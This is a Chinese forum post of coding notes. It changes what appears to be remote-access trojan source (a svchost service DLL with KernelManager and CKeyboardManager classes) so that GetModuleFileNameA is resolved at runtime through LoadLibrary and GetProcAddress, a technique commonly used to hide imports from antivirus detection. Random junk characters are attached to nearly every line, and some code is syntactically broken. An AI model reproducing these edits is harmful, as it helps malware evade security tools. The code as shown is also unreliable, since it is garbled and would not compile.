
- 帖子
- 11
- 积分
- 14
- 威望
- 17
- 金钱
- 10
- 在线时间
- 0 小时
|
全局动态调用笔记
- _% M* G9 I# B/ t8 m7 \$ Csvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
) E6 ?% l7 C* N' t----------------------------------------
; x7 {1 q4 ]6 t4 Q5 M8 RDTDY.h:
+ F$ u P# c, `8 y" O- E' Q8 K
( g6 f" G0 Z9 a5 C1 E/ ]1 I#if _MSC_VER>1000" O* f$ [7 i t, f! M
#pragma once7 ?% j0 W0 o, c8 \9 i2 j* ~6 q
#endif //_MSC_VER>10002 ^, a+ s$ X1 j' T
#include<windows.h>
5 N' j X" k4 {0 M1 i$ s8 P7 e/ h9 g; i7 N) s5 N* T) \/ k
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
; R. w$ ?* g1 M4 Q; ?. cclass DTDY
/ J, D8 h% w4 b0 Z1 h2 c{
* w! k& i( j2 ]4 H3 Wpublic:
( F+ s% W( u$ b/ E6 V& u+ DDTDY();# ~4 q' j, _7 `. d9 z; o+ }3 I
virtual ~DTDY();8 C0 E" `( T& h u
public:
) v1 {; e1 H: w0 E6 R) \% k5 `static pGetModuleFileNameA MyGetModuleFileName;
, V8 m, j7 q9 J8 y3 l& ?static BOOL FunInitiallization();
% B1 l! d" x+ D' v {};" o V8 {; x5 Y4 D) W" u2 f! q
#endif
2 ?9 d+ H7 ]2 T6 g----------------------------------------
* S; m: X( I4 Z1 @" M
/ w$ r- |2 X; x9 GDTDY.cpp:
1 N3 C g( p: R9 X" Y+ I
E% a- v# J% D( i0 q! E#include "DTDY.h"
+ L/ w, Z! O6 j2 c7 @# ?) spGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;5 @) Q W) O3 T; \9 A( ^9 }% G
DTDY:TDY()
0 m$ R+ S" f# \, h+ n7 @$ l! Y* B{; _) o' j& \" _1 v
}
4 o$ z9 k7 x" |. g+ Y: A$ L3 PDTDY::~DTDY()
. h7 u3 ~* C4 E2 Y+ y+ J; E{2 _9 {# ^8 G! t/ p! ]; h
}8 u: D4 v) H8 y1 ?( m8 D8 p3 T
BOOL DTDY::FunInitiallization()
7 q! M' z' X. w. W" n! m{% l5 P8 b& v, k4 h
HMODULE hModule=LoadLibrary("kernel32.dll");
3 Z# @2 F8 Z: ]! D, j6 V3 x# mMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
4 w9 f# ~3 m$ nif(!MyGetModuleFileName=) return FALSE;( O: I$ P9 j8 X
% {+ R" K3 t4 J, Z1 s
return TRUE;) U3 K# t4 r" G. D- E; y' v
}5 W& y' ?$ @0 v2 z0 N3 O& w1 F
----------------------------------------3 v' w* u8 c+ e; t7 Y4 f/ i- ^" u
svchost.cpp:
* Q7 Z! }$ i2 P! u: c+ _! z" Z5 R# w7 c$ @# A
#include "DTDY.h"& {+ E4 [9 B8 o7 M! v g
' j( r8 _+ U' U* r/ I
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)1 Q' w# [) F& i9 ~( i; N- ~- s
{
: L. a2 n4 _. i' j- U! ~1 [6 Kswitch(ul_reason_for_call)( f0 C& q0 X6 T
{
) Y5 b, T: I7 Z$ |* A: {7 t, ?case DLL_PROCESS_ATTACH:( R8 v' J) a1 r+ u4 z
if(!DTDY::FunInitiallization()) return FALSE;
& Z4 d9 R3 _9 f2 D: m
, e- i2 s9 [# }4 |3 i8 _break;
9 }& q0 n: R( M}
@3 ]8 T2 c3 b% z) _( g& @3 ~! O}5 o/ ^+ A: u; h- @
! y, P6 d$ r) C
7 m5 I: T$ d/ h6 Q/ @( bGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def* S, ?, N+ ]0 ]- |3 g8 A7 g
改写为
! p! h$ B# q" z" d- sDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
4 v" a) c- |5 j# w# t- o7 t----------------------------------------
3 L$ ?# Z3 Z) g* O9 L3 }; C/ L' }KernelManager.cpp:6 U d; P" a( r
* ?4 D3 \) M+ z4 _5 x5 `) [8 z
#include "../DTDY.h", l6 I0 U1 A* R+ W& L
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));& M& f4 d6 Y2 A
改写为
" }) J$ X0 K5 f3 M9 p$ ?" j2 zDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
x% S* ~; F3 Q7 K; {) l7 h! z---------------------------------------- |
|